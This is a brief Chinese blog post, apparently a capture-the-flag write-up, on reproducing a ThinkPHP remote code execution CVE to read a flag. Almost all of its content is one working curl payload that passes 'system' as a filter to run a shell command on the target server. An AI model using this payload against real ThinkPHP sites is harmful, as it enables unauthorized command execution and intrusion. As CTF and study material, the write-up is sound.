thinkphp

发表于2026-01-30|更新于2026-01-30|wp第一场考核赛

|总字数:36|阅读时长:1分钟|浏览量:

1,CVE复现，payload：

1	`curl http://121.43.27.97:20105/index.php?s=captcha -X POST -d _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat\ /flag`

2.得到flag

文章作者: Lengkur

文章链接: http://lengkur.github.io/2026/01/30/wp/%E7%AC%AC%E4%B8%80%E5%9C%BA%E8%80%83%E6%A0%B8%E8%B5%9B/thinkphp/

版权声明: 本博客所有文章除特别声明外，均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Lengkur！